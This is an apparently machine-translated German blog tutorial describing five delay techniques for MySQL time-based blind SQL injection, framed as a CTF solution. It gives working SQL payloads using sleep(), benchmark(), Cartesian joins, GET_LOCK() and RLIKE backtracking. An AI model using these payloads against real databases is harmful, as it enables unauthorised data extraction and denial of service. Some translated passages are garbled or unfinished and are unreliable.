Fünf Verzögerungsmethoden für die MySQL-Zeitblindinjektion (unerwartete PWNHUB-Lösung) Verzögerungseinspritzfunktion Fünf: sleep(), benchmark(t,exp), kartesisches Produkt, GET_LOCK() RLIKE-Regularisierung schlafen()Schlaf(x) wähle sleep(5); benchmark() führt wiederholt einen Ausdruck ausBenchmark(t,exp) select benchmark(count,expr) dient dazu, den Ausdruck expr anzahl-mal wiederholt auszuführen, was die Verarbeitungszeit sehr lang macht und zu Verzögerungen führt. Wählen Sie beispielsweise „Benchmark(1000000,encode("hallo","gut"));“ Wählen Sie Benchmark (5000000, MD5 ('Test')); Kartesisches ProduktKartesisches Produkt (weil das Verbinden von Tabellen eine zeitaufwändige Operation ist) AxB = die Menge, die aus allen Kombinationen von Elementen in A und B besteht, also die Verknüpfungstabelle.SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; Wählen Sie * aus Tabellenname A, Tabellenname B Wählen Sie * aus Tabellenname A, Tabellenname B, Tabellenname C select count(*) from table_name A, table_name B, table_name C Die Tabelle kann dieselbe Tabelle sein GET_LOCK() Sperre GET_LOCK(key,timeout) erfordert zwei Verbindungssitzungen Sitzung1 Sitzung2 get_lock: Nach dem gets_lock der Sitzung 1 wird es jedoch nicht freigegeben. Sitzung 2 sperrt nicht denselben Schlüssel oder sperrt nicht und kann trotzdem beliebige Operationen an den Daten durchführen. Daher ist das Sperren nur ein subjektiver Wunsch, nur einer Verbindung zu erlauben, bestimmte Operationen gleichzeitig durchzuführen. Wenn andere Verbindungen nicht get_lock aufrufen, um dieselbe Sperre hinzuzufügen, sind sie davon nicht betroffen und können tun, was sie wollen. Sitzung1 Sitzung2 Analyse der Vor- und Nachteile (1) Diese Methode ist zum Aktualisieren aller Spalten effektiver, aber die Abfrageanweisung muss auch innerhalb der Sperre ausgeführt werden. (2) Diese Methode gibt die Sperre automatisch frei, wenn die Verbindung zum Client ohne Grund getrennt wird, was besser ist. Im Gegensatz zur Redis-Sperre bleibt die Sperre bestehen, wenn die Sperre nach dem Hinzufügen getrennt wird. (3) Diese Methode sperrt alle Vorgänge innerhalb der Sperre, nicht eine bestimmte Tabelle oder eine bestimmte Zeile. Daher teilen sich verschiedene Vorgänge mit demselben Schlüssel dieselbe Sperre, was zu geringer Effizienz führt. (4) Wenn die Abfrageanweisung vor der Sperre platziert wird, sind die Daten möglicherweise alt und die Aktualisierung überschreibt die Daten, die nach der Abfrage und vor der Aktualisierung von anderen Clients aktualisiert wurden. RLIKE REGEXP reguläre Übereinstimmung Verwenden Sie Wählen Sie rpad ('a', 4999999, 'a') RLIKE concat (Wiederholung ('(a.*)+', 30), 'b'); Normale Syntax: RPAD(Zeichenfolge, Länge, Padzeichenfolge) Füllen Sie str mit der rechten Maustaste mit der Zeichenfolge padstr auf, bis ihre Länge len Zeichen erreicht, und geben Sie dann str zurück. Wenn str länger als len' ist, wird es auf len Zeichen gekürzt. mysql> SELECT RPAD('hallo',5,'?'); -> 'hallo???' repeat(str,times) kopiert den String mal ⭐️Suche nach neuen Verzögerungsfunktionen concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b' Der obige Code ist äquivalent zu Damit ist dieser Artikel über fünf Verzögerungsmethoden für MySQL Time Blind Injection abgeschlossen. Weitere Informationen zu MySQL Time Blind Injection finden Sie in den vorherigen Artikeln von 123WORDPRESS.COM oder in den folgenden verwandten Artikeln. Ich hoffe, Sie werden 123WORDPRESS.COM auch in Zukunft unterstützen! Das könnte Sie auch interessieren:
|
<<: Verwenden von Textschatten- und Elementschatteneffekten in CSS
<br />In Gästebüchern, Foren und anderen Ort...
Vorwort Aufgrund von Bandbreitenbeschränkungen un...
In diesem Artikel wird die Installations- und Kon...
6 Lösungen für Netzwerkfehler im Docker-Container...
1. Einführung in mysqldump mysqldump ist ein logi...
1. Installieren Sie Abhängigkeitspakete yum -y in...
1. Installieren Sie Apache # yum install -y httpd...
Lassen Sie uns ohne weitere Umschweife mit den Re...
Grundlegende Syntax der Tabelle <table>...&l...
Es gibt zwei Möglichkeiten: 1. Servicemethode Übe...
Inhaltsverzeichnis 1. Datenbankbetrieb 1.1 Datenb...
So verwenden Sie den Code im NetEase-Blog: Melden...
In diesem Artikelbeispiel wird der spezifische Co...
Im Vergleich zu FTP bietet der SSH-basierte SFTP-...
Horizontales Scrollen ist nicht in allen Situation...